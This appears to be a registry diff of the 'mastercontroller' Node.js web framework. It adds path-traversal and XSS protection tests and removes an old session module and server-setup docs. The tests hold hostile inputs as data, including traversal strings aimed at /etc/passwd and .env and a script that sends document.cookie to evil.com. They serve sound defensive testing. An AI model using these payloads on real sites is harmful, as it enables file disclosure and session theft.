mastercontroller 1.3.0 → 1.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/settings.local.json +4 -1
- package/MasterAction.js +137 -23
- package/MasterActionFilters.js +197 -92
- package/MasterControl.js +265 -44
- package/MasterHtml.js +226 -143
- package/MasterPipeline.js +1 -1
- package/MasterRequest.js +202 -24
- package/MasterSocket.js +6 -1
- package/MasterTools.js +428 -13
- package/README.md +2364 -309
- package/SECURITY-FIXES-v1.3.2.md +614 -0
- package/docs/SECURITY-AUDIT-ACTION-SYSTEM.md +1374 -0
- package/docs/SECURITY-AUDIT-HTTPS.md +1056 -0
- package/docs/SECURITY-QUICKSTART.md +375 -0
- package/docs/timeout-and-error-handling.md +8 -6
- package/package.json +1 -1
- package/security/SecurityEnforcement.js +241 -0
- package/security/SessionSecurity.js +100 -2
- package/test/security/filters.test.js +276 -0
- package/test/security/https.test.js +214 -0
- package/test/security/path-traversal.test.js +222 -0
- package/test/security/xss.test.js +190 -0
- package/MasterSession.js +0 -208
- package/docs/server-setup-hostname-binding.md +0 -24
- package/docs/server-setup-http.md +0 -32
- package/docs/server-setup-https-credentials.md +0 -32
- package/docs/server-setup-https-env-tls-sni.md +0 -62
- package/docs/server-setup-nginx-reverse-proxy.md +0 -46
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
// Path Traversal Protection Tests
|
|
2
|
+
const master = require('../../MasterControl');
|
|
3
|
+
require('../../MasterAction');
|
|
4
|
+
require('../../MasterHtml');
|
|
5
|
+
|
|
6
|
+
describe('Path Traversal Protection', () => {
|
|
7
|
+
|
|
8
|
+
describe('MasterAction - returnPartialView()', () => {
|
|
9
|
+
class MockController {
|
|
10
|
+
constructor() {
|
|
11
|
+
Object.assign(this, master.controllerExtensions);
|
|
12
|
+
this.__requestObject = {
|
|
13
|
+
response: {
|
|
14
|
+
_headerSent: false,
|
|
15
|
+
headersSent: false,
|
|
16
|
+
writeHead: jest.fn(),
|
|
17
|
+
end: jest.fn()
|
|
18
|
+
}
|
|
19
|
+
};
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
returnError(code, message) {
|
|
23
|
+
this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
|
|
24
|
+
this.__requestObject.response.end(JSON.stringify({ error: message }));
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
test('should reject ../ path traversal', () => {
|
|
29
|
+
const controller = new MockController();
|
|
30
|
+
const result = controller.returnPartialView('../../etc/passwd', {});
|
|
31
|
+
|
|
32
|
+
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
33
|
+
expect(result).toBe('');
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
test('should reject absolute paths', () => {
|
|
37
|
+
const controller = new MockController();
|
|
38
|
+
const result = controller.returnPartialView('/etc/passwd', {});
|
|
39
|
+
|
|
40
|
+
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
41
|
+
expect(result).toBe('');
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
test('should reject ~ home directory paths', () => {
|
|
45
|
+
const controller = new MockController();
|
|
46
|
+
const result = controller.returnPartialView('~/../../etc/passwd', {});
|
|
47
|
+
|
|
48
|
+
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
49
|
+
expect(result).toBe('');
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
test('should allow safe relative paths', () => {
|
|
53
|
+
const controller = new MockController();
|
|
54
|
+
master.root = __dirname;
|
|
55
|
+
|
|
56
|
+
// This should not throw (though file may not exist)
|
|
57
|
+
try {
|
|
58
|
+
controller.returnPartialView('views/safe/partial.html', {});
|
|
59
|
+
} catch (e) {
|
|
60
|
+
// File not found is OK, as long as validation passed
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
// Should not have called returnError with 400 or 403
|
|
64
|
+
const calls = controller.__requestObject.response.writeHead.mock.calls;
|
|
65
|
+
const hasSecurityError = calls.some(call => [400, 403].includes(call[0]));
|
|
66
|
+
expect(hasSecurityError).toBe(false);
|
|
67
|
+
});
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
describe('MasterAction - returnViewWithoutEngine()', () => {
|
|
71
|
+
class MockController {
|
|
72
|
+
constructor() {
|
|
73
|
+
Object.assign(this, master.controllerExtensions);
|
|
74
|
+
this.__requestObject = {
|
|
75
|
+
response: {
|
|
76
|
+
_headerSent: false,
|
|
77
|
+
headersSent: false,
|
|
78
|
+
writeHead: jest.fn(),
|
|
79
|
+
end: jest.fn()
|
|
80
|
+
}
|
|
81
|
+
};
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
returnError(code, message) {
|
|
85
|
+
this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
|
|
86
|
+
this.__requestObject.response.end(JSON.stringify({ error: message }));
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
test('should reject ../ path traversal', () => {
|
|
91
|
+
const controller = new MockController();
|
|
92
|
+
controller.returnViewWithoutEngine('../../../etc/passwd');
|
|
93
|
+
|
|
94
|
+
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
test('should reject absolute paths', () => {
|
|
98
|
+
const controller = new MockController();
|
|
99
|
+
controller.returnViewWithoutEngine('/etc/passwd');
|
|
100
|
+
|
|
101
|
+
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
102
|
+
});
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
describe('MasterHtml - renderPartial()', () => {
|
|
106
|
+
let html;
|
|
107
|
+
|
|
108
|
+
beforeEach(() => {
|
|
109
|
+
html = master.viewList.html;
|
|
110
|
+
master.router.currentRoute = {
|
|
111
|
+
root: __dirname
|
|
112
|
+
};
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
test('should reject ../ path traversal', () => {
|
|
116
|
+
const result = html.renderPartial('../../etc/passwd', {});
|
|
117
|
+
expect(result).toBe('<!-- Invalid path -->');
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
test('should reject absolute paths', () => {
|
|
121
|
+
const result = html.renderPartial('/etc/passwd', {});
|
|
122
|
+
expect(result).toBe('<!-- Invalid path -->');
|
|
123
|
+
});
|
|
124
|
+
|
|
125
|
+
test('should reject ~ home directory', () => {
|
|
126
|
+
const result = html.renderPartial('~/config', {});
|
|
127
|
+
expect(result).toBe('<!-- Invalid path -->');
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
test('should allow safe relative paths', () => {
|
|
131
|
+
// Safe path should not return error
|
|
132
|
+
try {
|
|
133
|
+
const result = html.renderPartial('partials/safe.html', {});
|
|
134
|
+
// May return "not found" comment, but not "invalid path"
|
|
135
|
+
expect(result).not.toBe('<!-- Invalid path -->');
|
|
136
|
+
} catch (e) {
|
|
137
|
+
// File not found is OK
|
|
138
|
+
}
|
|
139
|
+
});
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
describe('MasterHtml - renderStyles()', () => {
|
|
143
|
+
let html;
|
|
144
|
+
|
|
145
|
+
beforeEach(() => {
|
|
146
|
+
html = master.viewList.html;
|
|
147
|
+
master.router.currentRoute = {
|
|
148
|
+
root: __dirname,
|
|
149
|
+
isComponent: false
|
|
150
|
+
};
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
test('should reject ../ in folder name', () => {
|
|
154
|
+
const result = html.renderStyles('../../../etc', ['css']);
|
|
155
|
+
expect(result).toBe('');
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
test('should reject absolute paths in folder name', () => {
|
|
159
|
+
const result = html.renderStyles('/etc/passwd', ['css']);
|
|
160
|
+
expect(result).toBe('');
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
test('should allow safe folder names', () => {
|
|
164
|
+
const result = html.renderStyles('pages', ['css']);
|
|
165
|
+
// Should return empty string if no files, but not fail validation
|
|
166
|
+
expect(typeof result).toBe('string');
|
|
167
|
+
});
|
|
168
|
+
});
|
|
169
|
+
|
|
170
|
+
describe('MasterHtml - renderScripts()', () => {
|
|
171
|
+
let html;
|
|
172
|
+
|
|
173
|
+
beforeEach(() => {
|
|
174
|
+
html = master.viewList.html;
|
|
175
|
+
master.router.currentRoute = {
|
|
176
|
+
root: __dirname,
|
|
177
|
+
isComponent: false
|
|
178
|
+
};
|
|
179
|
+
});
|
|
180
|
+
|
|
181
|
+
test('should reject ../ in folder name', () => {
|
|
182
|
+
const result = html.renderScripts('../../config', ['js']);
|
|
183
|
+
expect(result).toBe('');
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
test('should reject absolute paths', () => {
|
|
187
|
+
const result = html.renderScripts('/etc', ['js']);
|
|
188
|
+
expect(result).toBe('');
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
test('should allow safe folder names', () => {
|
|
192
|
+
const result = html.renderScripts('components', ['js']);
|
|
193
|
+
expect(typeof result).toBe('string');
|
|
194
|
+
});
|
|
195
|
+
});
|
|
196
|
+
|
|
197
|
+
describe('Real-World Attack Scenarios', () => {
|
|
198
|
+
test('should prevent reading /etc/passwd', () => {
|
|
199
|
+
const html = master.viewList.html;
|
|
200
|
+
master.router.currentRoute = { root: '/var/www/app' };
|
|
201
|
+
|
|
202
|
+
const result = html.renderPartial('../../../../../../../etc/passwd', {});
|
|
203
|
+
expect(result).toBe('<!-- Invalid path -->');
|
|
204
|
+
});
|
|
205
|
+
|
|
206
|
+
test('should prevent reading application config', () => {
|
|
207
|
+
const html = master.viewList.html;
|
|
208
|
+
master.router.currentRoute = { root: '/var/www/app' };
|
|
209
|
+
|
|
210
|
+
const result = html.renderPartial('../../config/database.yml', {});
|
|
211
|
+
expect(result).toBe('<!-- Invalid path -->');
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
test('should prevent reading .env files', () => {
|
|
215
|
+
const html = master.viewList.html;
|
|
216
|
+
master.router.currentRoute = { root: '/var/www/app' };
|
|
217
|
+
|
|
218
|
+
const result = html.renderPartial('../../.env', {});
|
|
219
|
+
expect(result).toBe('<!-- Invalid path -->');
|
|
220
|
+
});
|
|
221
|
+
});
|
|
222
|
+
});
|
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
// XSS Protection Tests for MasterHtml.js
|
|
2
|
+
const master = require('../../MasterControl');
|
|
3
|
+
require('../../MasterHtml');
|
|
4
|
+
|
|
5
|
+
describe('XSS Protection in Form Helpers', () => {
|
|
6
|
+
let html;
|
|
7
|
+
|
|
8
|
+
beforeEach(() => {
|
|
9
|
+
// Create html instance (it's extended to master.viewList)
|
|
10
|
+
html = master.viewList.html;
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
describe('linkTo()', () => {
|
|
14
|
+
test('should escape malicious script in name', () => {
|
|
15
|
+
const result = html.linkTo('<script>alert("XSS")</script>', '/safe');
|
|
16
|
+
expect(result).not.toContain('<script>');
|
|
17
|
+
expect(result).toContain('<script>');
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
test('should escape malicious javascript in href', () => {
|
|
21
|
+
const result = html.linkTo('Click', 'javascript:alert("XSS")');
|
|
22
|
+
expect(result).toContain('href="javascript');
|
|
23
|
+
expect(result).not.toContain('href=javascript'); // Should be quoted
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
test('should escape quote injection', () => {
|
|
27
|
+
const result = html.linkTo('Click', '" onmouseover="alert(\'XSS\')"');
|
|
28
|
+
expect(result).toContain('"');
|
|
29
|
+
expect(result).not.toContain('onmouseover=');
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
describe('imgTag()', () => {
|
|
34
|
+
test('should escape XSS in alt attribute', () => {
|
|
35
|
+
const result = html.imgTag('<script>alert("XSS")</script>', '/image.jpg');
|
|
36
|
+
expect(result).not.toContain('<script>');
|
|
37
|
+
expect(result).toContain('<script>');
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
test('should escape onerror handler', () => {
|
|
41
|
+
const result = html.imgTag('test', '/image.jpg onerror=alert(1)');
|
|
42
|
+
expect(result).toContain('"');
|
|
43
|
+
expect(result).toMatch(/src=".*onerror.*"/); // Should be quoted
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
test('should have proper attribute quoting', () => {
|
|
47
|
+
const result = html.imgTag('test', '/image.jpg');
|
|
48
|
+
expect(result).toMatch(/src="[^"]+"/);
|
|
49
|
+
expect(result).toMatch(/alt="[^"]+"/);
|
|
50
|
+
});
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
describe('textFieldTag()', () => {
|
|
54
|
+
test('should escape malicious name', () => {
|
|
55
|
+
const result = html.textFieldTag('<script>alert(1)</script>', {});
|
|
56
|
+
expect(result).not.toContain('<script>');
|
|
57
|
+
expect(result).toContain('<script>');
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('should escape malicious attributes', () => {
|
|
61
|
+
const result = html.textFieldTag('username', {
|
|
62
|
+
value: '"><script>alert(1)</script><input type="hidden'
|
|
63
|
+
});
|
|
64
|
+
expect(result).not.toContain('<script>');
|
|
65
|
+
expect(result).toContain('"><script>');
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
test('should properly quote all attributes', () => {
|
|
69
|
+
const result = html.textFieldTag('test', { value: 'normal', class: 'form-control' });
|
|
70
|
+
expect(result).toMatch(/name="[^"]+"/);
|
|
71
|
+
expect(result).toMatch(/value="[^"]+"/);
|
|
72
|
+
expect(result).toMatch(/class="[^"]+"/);
|
|
73
|
+
});
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
describe('hiddenFieldTag()', () => {
|
|
77
|
+
test('should escape malicious value', () => {
|
|
78
|
+
const result = html.hiddenFieldTag('test', '" onclick="alert(\'XSS\')"', {});
|
|
79
|
+
expect(result).not.toContain('onclick=');
|
|
80
|
+
expect(result).toContain('"');
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
test('should escape additional attributes', () => {
|
|
84
|
+
const result = html.hiddenFieldTag('id', '123', {
|
|
85
|
+
'data-foo': '"><script>alert(1)</script>'
|
|
86
|
+
});
|
|
87
|
+
expect(result).not.toContain('<script>');
|
|
88
|
+
});
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
describe('textAreaTag()', () => {
|
|
92
|
+
test('should escape message content', () => {
|
|
93
|
+
const result = html.textAreaTag('comment', '<script>alert("XSS")</script>', {});
|
|
94
|
+
expect(result).not.toContain('<script>');
|
|
95
|
+
expect(result).toContain('<script>');
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
test('should escape attributes', () => {
|
|
99
|
+
const result = html.textAreaTag('comment', 'safe', {
|
|
100
|
+
placeholder: '"><script>alert(1)</script>'
|
|
101
|
+
});
|
|
102
|
+
expect(result).not.toContain('<script>');
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
describe('submitButton()', () => {
|
|
107
|
+
test('should escape button name', () => {
|
|
108
|
+
const result = html.submitButton('<script>alert(1)</script>', {});
|
|
109
|
+
expect(result).not.toContain('<script>');
|
|
110
|
+
expect(result).toContain('<script>');
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test('should escape attributes', () => {
|
|
114
|
+
const result = html.submitButton('Submit', {
|
|
115
|
+
onclick: 'alert(1)'
|
|
116
|
+
});
|
|
117
|
+
expect(result).toContain('onclick="alert(1)"'); // Escaped and quoted
|
|
118
|
+
});
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
describe('emailField()', () => {
|
|
122
|
+
test('should escape malicious attributes', () => {
|
|
123
|
+
const result = html.emailField('email', {
|
|
124
|
+
value: '"><script>alert(1)</script>'
|
|
125
|
+
});
|
|
126
|
+
expect(result).not.toContain('<script>');
|
|
127
|
+
});
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
describe('numberField()', () => {
|
|
131
|
+
test('should escape min/max/step values', () => {
|
|
132
|
+
const result = html.numberField('age', '"><script>alert(1)</script>', '100', '1', {});
|
|
133
|
+
expect(result).not.toContain('<script>');
|
|
134
|
+
expect(result).toContain('"><script>');
|
|
135
|
+
});
|
|
136
|
+
});
|
|
137
|
+
|
|
138
|
+
describe('javaScriptSerializer()', () => {
|
|
139
|
+
test('should escape closing script tags', () => {
|
|
140
|
+
const data = { comment: '</script><script>alert("XSS")</script>' };
|
|
141
|
+
const result = html.javaScriptSerializer('userData', data);
|
|
142
|
+
|
|
143
|
+
// Should not contain unescaped </script>
|
|
144
|
+
expect(result).not.toMatch(/<\/script><script>/);
|
|
145
|
+
// Should contain escaped version
|
|
146
|
+
expect(result).toContain('\\u003c/script\\u003e');
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
test('should escape < and > characters', () => {
|
|
150
|
+
const data = { html: '<div>test</div>' };
|
|
151
|
+
const result = html.javaScriptSerializer('config', data);
|
|
152
|
+
|
|
153
|
+
expect(result).toContain('\\u003c');
|
|
154
|
+
expect(result).toContain('\\u003e');
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
test('should escape variable name', () => {
|
|
158
|
+
const result = html.javaScriptSerializer('<script>alert(1)</script>', { test: 'data' });
|
|
159
|
+
expect(result).toContain('<script>');
|
|
160
|
+
});
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
describe('Real-World Attack Scenarios', () => {
|
|
164
|
+
test('should prevent stored XSS attack', () => {
|
|
165
|
+
// Simulate stored XSS from database
|
|
166
|
+
const userComment = '<img src=x onerror=alert(document.cookie)>';
|
|
167
|
+
const result = html.textAreaTag('comment', userComment, {});
|
|
168
|
+
|
|
169
|
+
expect(result).not.toContain('onerror=');
|
|
170
|
+
expect(result).toContain('<img');
|
|
171
|
+
});
|
|
172
|
+
|
|
173
|
+
test('should prevent reflected XSS attack', () => {
|
|
174
|
+
// Simulate reflected XSS from URL parameter
|
|
175
|
+
const searchQuery = '"><script>fetch("http://evil.com?c="+document.cookie)</script>';
|
|
176
|
+
const result = html.textFieldTag('search', { value: searchQuery });
|
|
177
|
+
|
|
178
|
+
expect(result).not.toContain('<script>');
|
|
179
|
+
expect(result).not.toContain('fetch(');
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
test('should prevent DOM-based XSS', () => {
|
|
183
|
+
const maliciousUrl = 'javascript:eval(atob("YWxlcnQoMSk="))';
|
|
184
|
+
const result = html.linkTo('Click', maliciousUrl);
|
|
185
|
+
|
|
186
|
+
// Should be quoted and escaped
|
|
187
|
+
expect(result).toMatch(/href="[^"]*"/);
|
|
188
|
+
});
|
|
189
|
+
});
|
|
190
|
+
});
|
package/MasterSession.js
DELETED
|
@@ -1,208 +0,0 @@
|
|
|
1
|
-
|
|
2
|
-
// version 0.0.22
|
|
3
|
-
|
|
4
|
-
var master = require('./MasterControl');
|
|
5
|
-
var cookie = require('cookie');
|
|
6
|
-
var toolClass = require('./MasterTools');
|
|
7
|
-
var crypto = require('crypto');
|
|
8
|
-
var tools = new toolClass();
|
|
9
|
-
|
|
10
|
-
class MasterSession{
|
|
11
|
-
|
|
12
|
-
sessions = {};
|
|
13
|
-
options = {
|
|
14
|
-
domain: undefined,
|
|
15
|
-
encode : undefined,
|
|
16
|
-
maxAge: 900000,
|
|
17
|
-
expires : undefined ,
|
|
18
|
-
secure:false,
|
|
19
|
-
httpOnly:true,
|
|
20
|
-
sameSite : true,
|
|
21
|
-
path : '/',
|
|
22
|
-
secret : this.createSessionID()
|
|
23
|
-
};
|
|
24
|
-
|
|
25
|
-
init(options){
|
|
26
|
-
var $that = this;
|
|
27
|
-
|
|
28
|
-
// Combine the rest of the options carefully
|
|
29
|
-
this.options = {
|
|
30
|
-
...this.options,
|
|
31
|
-
...options
|
|
32
|
-
};
|
|
33
|
-
|
|
34
|
-
if(this.options.TID){
|
|
35
|
-
this.options.secret = TID;
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
// Auto-register with pipeline if available
|
|
39
|
-
if (master.pipeline) {
|
|
40
|
-
master.pipeline.use(this.middleware());
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
return {
|
|
44
|
-
setPath : function(path){
|
|
45
|
-
$that.options.path = path === undefined ? '/' : path;
|
|
46
|
-
return this;
|
|
47
|
-
},
|
|
48
|
-
sameSiteTrue : function(){
|
|
49
|
-
$that.options.sameSite = true;
|
|
50
|
-
return this;
|
|
51
|
-
},
|
|
52
|
-
sameSiteFalse : function(){
|
|
53
|
-
$that.options.sameSite = false;
|
|
54
|
-
return this;
|
|
55
|
-
},
|
|
56
|
-
httpOnlyTrue : function(){
|
|
57
|
-
$that.options.httpOnly = true;
|
|
58
|
-
return this;
|
|
59
|
-
},
|
|
60
|
-
httpOnlyFalse : function(){
|
|
61
|
-
$that.options.httpOnly = false;
|
|
62
|
-
return this;
|
|
63
|
-
},
|
|
64
|
-
secureTrue : function(){
|
|
65
|
-
$that.options.secure = true;
|
|
66
|
-
return this;
|
|
67
|
-
},
|
|
68
|
-
securefalse : function(){
|
|
69
|
-
$that.options.secure = false;
|
|
70
|
-
return this;
|
|
71
|
-
},
|
|
72
|
-
expires : function(exp){
|
|
73
|
-
$that.options.expires = exp === undefined ? undefined : exp;
|
|
74
|
-
return this;
|
|
75
|
-
},
|
|
76
|
-
maxAge : function(num){
|
|
77
|
-
$that.options.maxAge = num === undefined ? 0 : num;
|
|
78
|
-
return this;
|
|
79
|
-
},
|
|
80
|
-
encode: function(func){
|
|
81
|
-
$that.options.encode = func;
|
|
82
|
-
return this;
|
|
83
|
-
},
|
|
84
|
-
domain : function(dom){
|
|
85
|
-
$that.options.domain = dom;
|
|
86
|
-
return this;
|
|
87
|
-
}
|
|
88
|
-
};
|
|
89
|
-
}
|
|
90
|
-
|
|
91
|
-
createSessionID(){
|
|
92
|
-
return crypto.randomBytes(20).toString('hex');
|
|
93
|
-
}
|
|
94
|
-
|
|
95
|
-
getSessionID(){
|
|
96
|
-
return this.secret;
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
setCookie(name, payload, response, options){
|
|
100
|
-
var cookieOpt = options === undefined? this.options : options;
|
|
101
|
-
if(typeof options === "object"){
|
|
102
|
-
if(options.secret){
|
|
103
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, tools.encrypt(payload, cookieOpt.secret), cookieOpt));
|
|
104
|
-
}else{
|
|
105
|
-
|
|
106
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
|
|
107
|
-
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
}
|
|
111
|
-
else{
|
|
112
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
|
|
113
|
-
}
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
getCookie (name, request, secret){
|
|
117
|
-
var cooks = cookie.parse(request.headers.cookie || '');
|
|
118
|
-
|
|
119
|
-
if(cooks){
|
|
120
|
-
if(cooks[name] === undefined){
|
|
121
|
-
return -1;
|
|
122
|
-
}
|
|
123
|
-
if(secret === undefined){
|
|
124
|
-
if(cooks[name]){
|
|
125
|
-
return cooks[name];
|
|
126
|
-
}
|
|
127
|
-
else{
|
|
128
|
-
return -1;
|
|
129
|
-
}
|
|
130
|
-
//return cooks[name]? -1 : cooks[name];
|
|
131
|
-
}
|
|
132
|
-
else{
|
|
133
|
-
return tools.decrypt(cooks[name], secret);
|
|
134
|
-
}
|
|
135
|
-
}
|
|
136
|
-
else{
|
|
137
|
-
return -1;
|
|
138
|
-
}
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
deleteCookie (name, response, options){
|
|
142
|
-
var cookieOpt = options === undefined? this.options : options;
|
|
143
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, "", cookieOpt));
|
|
144
|
-
cookieOpt.expires = undefined;
|
|
145
|
-
}
|
|
146
|
-
|
|
147
|
-
// delete session and cookie
|
|
148
|
-
delete(name, response){
|
|
149
|
-
var sessionID = sessions[name];
|
|
150
|
-
this.options.expires = new Date(0);
|
|
151
|
-
response.setHeader('Set-Cookie', cookie.serialize(sessionID, "", this.options));
|
|
152
|
-
delete this.sessions[name];
|
|
153
|
-
this.options.expires = undefined;
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
// resets all sessions
|
|
157
|
-
reset(){
|
|
158
|
-
this.sessions = {};
|
|
159
|
-
}
|
|
160
|
-
|
|
161
|
-
// sets session with random id to get cookie
|
|
162
|
-
set(name, payload, response, secret, options){
|
|
163
|
-
var cookieOpt = options === undefined? this.options : options;
|
|
164
|
-
var sessionID = this.createSessionID();
|
|
165
|
-
this.sessions[name] = sessionID;
|
|
166
|
-
if(secret === undefined){
|
|
167
|
-
response.setHeader('Set-Cookie', cookie.serialize(sessionID, JSON.stringify(payload), cookieOpt));
|
|
168
|
-
}
|
|
169
|
-
else{
|
|
170
|
-
response.setHeader('Set-Cookie', cookie.serialize(sessionID, tools.encrypt(payload, secret), cookieOpt));
|
|
171
|
-
}
|
|
172
|
-
}
|
|
173
|
-
|
|
174
|
-
// gets session then gets cookie
|
|
175
|
-
get(name, request, secret){
|
|
176
|
-
var sessionID = this.sessions[name];
|
|
177
|
-
if(sessionID){
|
|
178
|
-
var cooks = cookie.parse(request.headers.cookie || '');
|
|
179
|
-
if(cooks){
|
|
180
|
-
if(secret === undefined){
|
|
181
|
-
return cooks[sessionID];
|
|
182
|
-
}
|
|
183
|
-
else{
|
|
184
|
-
return tools.decrypt(cooks[sessionID], secret);
|
|
185
|
-
}
|
|
186
|
-
}
|
|
187
|
-
}
|
|
188
|
-
else{
|
|
189
|
-
return -1;
|
|
190
|
-
}
|
|
191
|
-
}
|
|
192
|
-
|
|
193
|
-
/**
|
|
194
|
-
* Get session middleware for the pipeline
|
|
195
|
-
* Sessions are accessed lazily via master.sessions in controllers
|
|
196
|
-
*/
|
|
197
|
-
middleware() {
|
|
198
|
-
var $that = this;
|
|
199
|
-
|
|
200
|
-
return async (ctx, next) => {
|
|
201
|
-
// Sessions are available via master.sessions.get/set in controllers
|
|
202
|
-
// No action needed here - just continue pipeline
|
|
203
|
-
await next();
|
|
204
|
-
};
|
|
205
|
-
}
|
|
206
|
-
}
|
|
207
|
-
|
|
208
|
-
master.extend("sessions", MasterSession);
|
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
## Server setup: Hostname binding
|
|
2
|
-
|
|
3
|
-
Bind the listener to a specific interface using `hostname` (or `host`/`http`).
|
|
4
|
-
|
|
5
|
-
### server.js
|
|
6
|
-
```js
|
|
7
|
-
const master = require('./MasterControl');
|
|
8
|
-
|
|
9
|
-
master.root = __dirname;
|
|
10
|
-
master.environmentType = process.env.NODE_ENV || 'development';
|
|
11
|
-
|
|
12
|
-
const server = master.setupServer('http');
|
|
13
|
-
master.start(server);
|
|
14
|
-
|
|
15
|
-
// Bind to localhost only
|
|
16
|
-
master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
|
|
17
|
-
|
|
18
|
-
master.startMVC('app');
|
|
19
|
-
```
|
|
20
|
-
|
|
21
|
-
### Notes
|
|
22
|
-
- Use `0.0.0.0` to accept connections on all interfaces.
|
|
23
|
-
- In production with a reverse proxy, bind to `127.0.0.1` so only the proxy can reach the app.
|
|
24
|
-
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
## Server setup: HTTP
|
|
2
|
-
|
|
3
|
-
This example starts a plain HTTP server. Useful for local development, or when you run behind a reverse proxy that terminates TLS.
|
|
4
|
-
|
|
5
|
-
### server.js (HTTP)
|
|
6
|
-
```js
|
|
7
|
-
const master = require('./MasterControl');
|
|
8
|
-
|
|
9
|
-
// Point master to your project root and environment
|
|
10
|
-
master.root = __dirname;
|
|
11
|
-
master.environmentType = process.env.NODE_ENV || 'development';
|
|
12
|
-
|
|
13
|
-
// Create HTTP server and bind it
|
|
14
|
-
const server = master.setupServer('http');
|
|
15
|
-
master.start(server);
|
|
16
|
-
|
|
17
|
-
// Use either explicit settings or your environment JSON
|
|
18
|
-
// Option A: explicit
|
|
19
|
-
// master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
|
|
20
|
-
|
|
21
|
-
// Option B: from env config at config/environments/env.<env>.json
|
|
22
|
-
master.serverSettings(master.env.server);
|
|
23
|
-
|
|
24
|
-
// Load your routes and controllers
|
|
25
|
-
// If your routes are under <root>/app/**/routes.js
|
|
26
|
-
master.startMVC('app');
|
|
27
|
-
```
|
|
28
|
-
|
|
29
|
-
### Notes
|
|
30
|
-
- `master.serverSettings` now honors `hostname` (or `host`/`http`) if provided; otherwise it listens on all interfaces.
|
|
31
|
-
- For production, prefer running behind a reverse proxy and keep the app on a high port (e.g., 3000).
|
|
32
|
-
|